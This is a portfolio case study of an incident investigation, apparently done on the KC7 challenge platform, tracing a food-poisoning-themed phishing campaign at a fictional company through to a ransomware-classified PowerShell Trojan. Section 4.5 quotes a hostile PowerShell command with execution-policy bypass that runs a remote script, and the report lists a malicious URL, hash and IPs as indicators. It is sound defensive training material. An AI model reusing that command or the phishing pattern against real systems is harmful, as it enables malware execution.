

CYBERSECURITY INCIDENT INVESTIGATION REPORT

Phishing-Led Malware Investigation Dai Wok Foods

Professional Portfolio Case Study

Prepared from documented security investigation evidence

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1. Executive Summary

This investigation examined a suspected phishing-led security incident affecting Dai Wok Foods. The available evidence identified an external email campaign targeting company personnel, followed by interaction with a malicious link hosted on `complaints-cityofficialsfood.com`. The investigation then correlated email telemetry, employee records, passive DNS data, authentication activity, file creation events, and process execution records to reconstruct the observed attack sequence.

A key affected employee identified during the investigation was John Garcia, associated with the hostname `LVJW-LAPTOP`. Evidence documented that he interacted with the phishing link on `2023-04-03T18:04:56Z`. Subsequent investigation identified the downloaded file `large_order.xlsx` and suspicious command execution on the affected endpoint. A PowerShell command was observed with non-interactive execution, profile suppression, execution-policy bypass, and a referenced script named `c5k3fsys.3bp.ps1`.

The documented investigation further linked the observed malware activity to a PowerShell-based Trojan classification and recorded ransomware as the resulting malware category. The findings demonstrate an end-to-end analytical workflow from initial phishing identification through infrastructure analysis and endpoint investigation.

2. Investigation Scope

The investigation focused on determining:

- The identity of targeted employees and relevant corporate assets.
- The characteristics and origin of the suspicious email campaign.
- Whether users interacted with the malicious infrastructure.
- The infrastructure associated with the phishing domain.
- The endpoint and file activity following the user interaction.
- Whether suspicious process execution indicated malware activity.
- The likely nature of the malware and its operational impact.

3. Methodology and Evidence Sources

The investigation used correlation across multiple telemetry sources documented in the challenge environment:

- Employees — user identity, email address, IP address, hostname, and role correlation.
- Email — sender, recipient, subject, reply-to relationships, and malicious links.
- SecurityAlerts — identification of alerts associated with the targeted user or device.
- PassiveDns — historical domain-to-IP infrastructure analysis.
- InboundNetworkEvents — investigation of activity originating from suspicious infrastructure.
- AuthenticationEvents — identification of successful authentication activity from unusual source IP addresses.
- FileCreationEvents — identification and tracking of downloaded or malicious files.
- ProcessEvents — reconstruction of suspicious command and script execution.

4. Key Findings

4.1 Initial Phishing Activity

The investigation identified Delphia Evans as an employee of Dai Wok Foods with the username deevans and hostname ABVJ-MACHINE. Email analysis identified a suspicious message with the subject "[EXTERNAL] Formal action on food poisoning." The documented investigation identified county.county@yahoo.com as a suspect sender associated with this activity.

Attribute	Observed Value
Targeted employee	Delphia Evans
Username	deevans
Hostname	ABVJ-MACHINE
Suspicious subject	[EXTERNAL] Formal action on food poisoning
Suspect sender	county.county@yahoo.com
Recorded timestamp	2023-04-02T20:40:54Z

4.2 Malicious Link and User Interaction

The phishing investigation identified the domain complaints-cityofficialsfood.com as malicious infrastructure. A suspicious email associated with official@verizon.com contained a link leading to the domain, with the documented file path ending in large_order.xlsx.

The investigation recorded that John Garcia clicked the phishing link on 2023-04-03T18:04:56Z. John Garcia was associated with the username jogarcia, email john_garcia@daiwokfoods.com, IP address 192.168.3.86, and hostname LVJW-LAPTOP.

Indicator	Value
Malicious domain	complaints-cityofficialsfood.com
Full observed link	https://complaints-cityofficialsfood.com/search/published/images/images/large_order.xlsx
Affected employee	John Garcia
Hostname	LVJW-LAPTOP
Username	jogarcia
Recorded link interaction	2023-04-03T18:04:56Z

4.3 Threat Infrastructure Analysis

Passive DNS analysis identified nine historical records for complaints-cityofficialsfood.com. The documented infrastructure included multiple IP addresses over time. After the recorded user interaction, the investigation identified an association between the domain and 179.58.169.157 on 2023-04-04T18:32:25Z. The notes further recorded that this IP originated from a server in Bolivia.

Timestamp	Observed IP
2023-03-26T13:29:46Z	134.173.137.45
2023-03-28T17:05:34Z	177.43.27.137
2023-03-30T14:03:02Z	188.216.230.252
2023-03-31T04:23:15Z	131.162.160.193
2023-04-04T18:32:25Z	179.58.169.157
2023-04-15T11:10:23Z	179.58.169.157
2023-04-17T02:21:38Z	177.43.27.137
2023-04-18T03:51:38Z	77.112.237.13

2023-04-25T12:16:50Z	189.100.73.140
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4.4 File and Endpoint Investigation

The malicious link led investigators to the filename `large_order.xlsx`. File creation analysis identified the file at the following documented location on the affected system:

`C:\Users\jogarcia\Downloads\large_order.xlsx`

The investigation notes recorded that the file was not flagged as suspicious by VirusTotal at the time of the documented analysis. This illustrates the importance of behavioral and telemetry-based investigation rather than relying exclusively on file reputation.

4.5 Suspicious Process Execution

Process telemetry from LVJW-LAPTOP showed suspicious command execution after the relevant incident period. A significant command line launched PowerShell through `cmd.exe` and included non-interactive execution, profile suppression, execution-policy bypass, and execution of a script from an administrative share.

```
cmd.exe /c start %SYSTEMROOT%\system32\WindowsPowerShell\v1.0\powershell.exe -noni -nop -
exe bypass -f \\share1\Admin$\c5k3fsys.3bp.ps1
```

The associated SHA-256 value documented in the investigation was:

662124b0c998fd0826c192514b1f57f8002f2ab031996aa6dd7832f561679779

4.6 Malware Assessment

The documented malware classification identified the activity as a PowerShell-based Trojan (trojan.powershell/pshell). The investigation notes further recorded ransomware as the malware category associated with the assessed incident. This conclusion was based on the evidence and external malware identification steps documented during the challenge.

5. Reconstructed Incident Timeline

Time	Event
2023-04-02T20:40:54Z	Suspect phishing email activity recorded from county.county@yahoo.com.
2023-04-03T18:04:56Z	John Garcia recorded as clicking the phishing link.
After link interaction	large_order.xlsx identified in the investigation workflow.
Endpoint investigation period	File identified at C:\Users\jogarcia\Downloads\large_order.xlsx.
Post-download activity	Suspicious PowerShell execution observed on LVJW-LAPTOP.
2023-04-04T18:32:25Z	complaints-cityofficialsfood.com associated with 179.58.169.157 in Passive DNS.

6. Attack Chain Assessment

Stage	Assessment
Initial Access	External phishing emails targeting Dai Wok Foods employees.
Social Engineering	Food-poisoning themed message designed to encourage recipient interaction.
User Execution	John Garcia documented as clicking the malicious link.
Malicious Content	large_order.xlsx delivered through attacker-controlled infrastructure.
Execution	Suspicious PowerShell command launched through cmd.exe with execution-policy bypass.
Malware	PowerShell-based Trojan classification documented during analysis.
Impact	Ransomware recorded as the assessed malware category.

7. Indicators of Compromise

Type	Indicator
Domain	complaints-cityofficialsfood.com
URL	https://complaints-cityofficialsfood.com/search/published/images/images/large_order.xlsx
File	large_order.xlsx
Script	c5k3fsys.3bp.ps1
SHA-256	662124b0c998fd0826c192514b1f57f8002f2ab031996aa6dd7832f561679779
IP	179.58.169.157
Email	county.county@yahoo.com
Email	official@verizon.com
Affected host	LVJW-LAPTOP

8. Analytical Conclusions

The available evidence supports a coherent phishing-led intrusion sequence. The investigation established a connection between suspicious external emails, attacker-controlled web infrastructure, user interaction, a downloaded file, and suspicious PowerShell execution on an identified employee endpoint.

A notable investigative lesson from the case is that the documented downloaded file was not flagged as suspicious by VirusTotal, while subsequent endpoint telemetry provided stronger behavioral evidence of malicious activity. This reinforces the value of cross-source correlation in incident response.

Based on the documented evidence, the incident should be treated as a significant endpoint compromise with phishing as the apparent initial delivery mechanism and PowerShell execution as a critical post-click

indicator. The documented malware assessment ultimately associated the activity with a PowerShell-based Trojan and ransomware.

9. Recommended Response Actions

- Isolate affected endpoints and preserve volatile and endpoint telemetry for further forensic review.
- Block the identified malicious domain, URLs, and associated indicators across DNS, proxy, email, and endpoint controls.
- Search the environment for the identified filename, script name, hash, and suspicious PowerShell command patterns.
- Review authentication activity for affected users and reset credentials where compromise cannot be ruled out.
- Perform enterprise-wide hunting for connections to the identified attacker infrastructure.
- Review PowerShell logging and strengthen alerting for execution-policy bypass and suspicious remote script execution.
- Conduct targeted phishing awareness reinforcement using the observed social-engineering pattern.
- Validate backup and ransomware recovery procedures following any confirmed encryption or destructive activity.

10. Analyst Skills Demonstrated

- Security incident investigation and timeline reconstruction
- KQL-based log analysis and cross-table correlation
- Phishing and malicious email investigation
- DNS and attacker infrastructure analysis
- Endpoint and file telemetry analysis
- Process and PowerShell execution analysis
- Indicator of Compromise identification
- Threat hunting and evidence correlation
- Malware triage and behavioral assessment
- Incident reporting and technical communication

11. Portfolio Note

This report is a portfolio case study reconstructed from a documented cybersecurity investigation challenge on Kc7 Cybergame platform. The organization name, users, hosts, domains, IP addresses, and events reflect the challenge dataset and are presented to demonstrate the investigative methodology, analytical reasoning, and incident-response skills I used during the investigation of this challenge.